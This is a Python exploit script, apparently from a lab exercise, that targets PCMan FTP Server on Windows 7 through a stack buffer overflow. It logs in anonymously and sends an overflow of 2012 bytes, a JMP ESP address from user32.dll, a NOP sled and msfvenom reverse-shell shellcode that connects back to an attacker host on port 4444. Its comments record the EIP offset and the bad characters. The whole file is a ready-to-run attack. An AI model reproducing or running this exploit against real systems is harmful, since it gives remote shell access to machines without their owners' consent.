PCMan-FTP-Server-vanilla.py

#!/usr/bin/python
#
#	Author - Nu11pwn
#	September 3rd 2019
#	Tested on:
#		Host : Ubuntu		
#		Victim : Windows 7 SP1 (used user32.dll for JMP ESP)
#

import socket

victim_host = "10.0.0.213"
victim_port = 21

# msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.78 LPORT=4444 -b "\x0d\x0a\x00\xf1" -f c -f python -v shellcode

shellcode =  ""
shellcode += "\xd9\xe5\xd9\x74\x24\xf4\x58\xbb\x6e\x17\xca\x74"
shellcode += "\x33\xc9\xb1\x52\x31\x58\x17\x83\xc0\x04\x03\x36"
shellcode += "\x04\x28\x81\x3a\xc2\x2e\x6a\xc2\x13\x4f\xe2\x27"
shellcode += "\x22\x4f\x90\x2c\x15\x7f\xd2\x60\x9a\xf4\xb6\x90"
shellcode += "\x29\x78\x1f\x97\x9a\x37\x79\x96\x1b\x6b\xb9\xb9"
shellcode += "\x9f\x76\xee\x19\xa1\xb8\xe3\x58\xe6\xa5\x0e\x08"
shellcode += "\xbf\xa2\xbd\xbc\xb4\xff\x7d\x37\x86\xee\x05\xa4"
shellcode += "\x5f\x10\x27\x7b\xeb\x4b\xe7\x7a\x38\xe0\xae\x64"
shellcode += "\x5d\xcd\x79\x1f\x95\xb9\x7b\xc9\xe7\x42\xd7\x34"
shellcode += "\xc8\xb0\x29\x71\xef\x2a\x5c\x8b\x13\xd6\x67\x48"
shellcode += "\x69\x0c\xed\x4a\xc9\xc7\x55\xb6\xeb\x04\x03\x3d"
shellcode += "\xe7\xe1\x47\x19\xe4\xf4\x84\x12\x10\x7c\x2b\xf4"
shellcode += "\x90\xc6\x08\xd0\xf9\x9d\x31\x41\xa4\x70\x4d\x91"
shellcode += "\x07\x2c\xeb\xda\xaa\x39\x86\x81\xa2\x8e\xab\x39"
shellcode += "\x33\x99\xbc\x4a\x01\x06\x17\xc4\x29\xcf\xb1\x13"
shellcode += "\x4d\xfa\x06\x8b\xb0\x05\x77\x82\x76\x51\x27\xbc"
shellcode += "\x5f\xda\xac\x3c\x5f\x0f\x62\x6c\xcf\xe0\xc3\xdc"
shellcode += "\xaf\x50\xac\x36\x20\x8e\xcc\x39\xea\xa7\x67\xc0"
shellcode += "\x7d\xc2\x77\xca\x33\xba\x75\xca\xda\x66\xf3\x2c"
shellcode += "\xb6\x86\x55\xe7\x2f\x3e\xfc\x73\xd1\xbf\x2a\xfe"
shellcode += "\xd1\x34\xd9\xff\x9c\xbc\x94\x13\x48\x4d\xe3\x49"
shellcode += "\xdf\x52\xd9\xe5\x83\xc1\x86\xf5\xca\xf9\x10\xa2"
shellcode += "\x9b\xcc\x68\x26\x36\x76\xc3\x54\xcb\xee\x2c\xdc"
shellcode += "\x10\xd3\xb3\xdd\xd5\x6f\x90\xcd\x23\x6f\x9c\xb9"
shellcode += "\xfb\x26\x4a\x17\xba\x90\x3c\xc1\x14\x4e\x97\x85"
shellcode += "\xe1\xbc\x28\xd3\xed\xe8\xde\x3b\x5f\x45\xa7\x44"
shellcode += "\x50\x01\x2f\x3d\x8c\xb1\xd0\x94\x14\xc1\x9a\xb4"
shellcode += "\x3d\x4a\x43\x2d\x7c\x17\x74\x98\x43\x2e\xf7\x28"
shellcode += "\x3c\xd5\xe7\x59\x39\x91\xaf\xb2\x33\x8a\x45\xb4"
shellcode += "\xe0\xab\x4f"

# found bad chars - "\x0d\x0a\x00\xf1"
# Log data, item 67
# Address=0BADF00D
# Message=    EIP contains normal pattern : 0x31704330 (offset 2012)
# EIP - 31704330

USER = "anonymous"
PASS = "anonymous"

payload  = "A" * 2012
payload += "\x5B\x4E\xF4\x76" # JMP ESP from user32.dll
payload += "\x90" * 16 # short NOPSLED to make sure the jump hits our shellcode
payload += shellcode

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((victim_host, victim_port))

expl.recv(1024)

expl.send("USER " + USER + "\r\n")
expl.recv(1024)
print("[x] Sending username")

expl.send("PASS " + PASS + "\r\n")
expl.recv(1024)
print("[x] Sending password")

expl.send(payload)
print("[x] Finalizing payload, check for reverse shell")

expl.close()